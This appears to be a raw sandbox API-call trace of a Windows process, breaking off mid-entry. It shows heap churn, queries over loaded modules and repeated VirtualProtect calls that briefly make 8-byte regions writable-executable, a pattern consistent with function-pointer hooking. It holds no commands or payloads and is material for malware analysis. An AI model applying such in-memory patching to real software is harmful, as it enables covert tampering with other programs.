HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.807] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.807] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefba60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefba60000, AllocationBase=0x7fefba60000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.807] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.807] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcfa0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcfa0000, AllocationBase=0x7fefcfa0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.808] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.808] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.808] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcfe0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcfe0000, AllocationBase=0x7fefcfe0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.808] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.809] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.809] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.809] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.809] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.809] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.809] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.809] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.809] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.809] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb460000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb460000, AllocationBase=0x7fefb460000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.810] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.810] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.810] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.810] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.811] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.811] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.811] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.811] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.811] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f4b0 | out: hHeap=0x9770000) returned 1 [0042.811] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa160000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa160000, AllocationBase=0x7fefa160000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.811] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.811] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f4b0 [0042.811] VirtualProtect (in: lpAddress=0x7fefa192568, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.812] VirtualProtect (in: lpAddress=0x7fefa192568, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f520 [0042.813] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f520 | out: hHeap=0x9770000) returned 1 [0042.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f520 [0042.813] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f520 | out: hHeap=0x9770000) returned 1 [0042.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f520 [0042.813] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f520 | out: hHeap=0x9770000) returned 1 [0042.813] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefed60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefed60000, AllocationBase=0x7fefed60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.813] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.813] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f520 [0042.813] VirtualProtect (in: lpAddress=0x7fefedc3668, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.814] VirtualProtect (in: lpAddress=0x7fefedc3668, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.815] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f590 [0042.815] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6f590 | out: hHeap=0x9770000) returned 1 [0042.815] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6f590 [0042.816] VirtualProtect (in: lpAddress=0x7fefedc3368, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.817] VirtualProtect (in: lpAddress=0x7fefedc3368, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.818] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e7e0 [0042.818] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e7e0 | out: hHeap=0x9770000) returned 1 [0042.818] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9ea0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9ea0000, AllocationBase=0x7fef9ea0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.818] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.818] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e7e0 [0042.818] VirtualProtect (in: lpAddress=0x7fef9f38320, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.819] VirtualProtect (in: lpAddress=0x7fef9f38320, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.820] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.820] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e850 | out: hHeap=0x9770000) returned 1 [0042.820] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.820] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e850 | out: hHeap=0x9770000) returned 1 [0042.820] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.820] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e850 | out: hHeap=0x9770000) returned 1 [0042.821] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff340000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff340000, AllocationBase=0x7feff340000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.821] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.821] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.821] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e850 | out: hHeap=0x9770000) returned 1 [0042.821] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.821] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e850 | out: hHeap=0x9770000) returned 1 [0042.821] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.821] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e850 | out: hHeap=0x9770000) returned 1 [0042.821] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e850 [0042.822] VirtualProtect (in: lpAddress=0x7feff400468, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.823] VirtualProtect (in: lpAddress=0x7feff400468, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.823] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff1c0000, AllocationBase=0x7feff1c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.823] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.823] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e8c0 [0042.825] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e8c0 | out: hHeap=0x9770000) returned 1 [0042.825] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e8c0 [0042.825] VirtualProtect (in: lpAddress=0x7feff295fe0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.826] VirtualProtect (in: lpAddress=0x7feff295fe0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.827] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.827] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.827] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.827] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.827] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd1c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd1c0000, AllocationBase=0x7fefd1c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.827] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.827] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.827] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.827] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd150000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd150000, AllocationBase=0x7fefd150000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.828] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e930 | out: hHeap=0x9770000) returned 1 [0042.828] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd910000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd910000, AllocationBase=0x7fefd910000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.828] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.828] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e930 [0042.828] VirtualProtect (in: lpAddress=0x7fefd94e3d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.830] VirtualProtect (in: lpAddress=0x7fefd94e3d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.830] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e9a0 [0042.831] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7e9a0 | out: hHeap=0x9770000) returned 1 [0042.831] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7e9a0 [0042.831] VirtualProtect (in: lpAddress=0x7fefd94e4f8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.833] VirtualProtect (in: lpAddress=0x7fefd94e4f8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.833] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea10 [0042.833] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea10 | out: hHeap=0x9770000) returned 1 [0042.833] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.834] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.834] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea10 [0042.834] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea10 | out: hHeap=0x9770000) returned 1 [0042.834] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea10 [0042.834] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea10 | out: hHeap=0x9770000) returned 1 [0042.834] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea10 [0042.834] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea10 | out: hHeap=0x9770000) returned 1 [0042.834] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea10 [0042.834] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea10 | out: hHeap=0x9770000) returned 1 [0042.834] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9b80000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9b80000, AllocationBase=0x7fef9b80000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0042.834] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0042.834] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea10 [0042.834] VirtualProtect (in: lpAddress=0x7fef9d05418, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x2) returned 1 [0042.835] VirtualProtect (in: lpAddress=0x7fef9d05418, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x6adfb70 | out: lpflOldProtect=0x6adfb70*=0x40) returned 1 [0042.836] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.836] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.836] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.836] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.836] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7ea80 [0042.837] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7ea80 | out: hHeap=0x9770000) returned 1 [0042.837] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9b60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9b60000, AllocationBase=0x7fef9b60000, AllocationProtect=0x80, 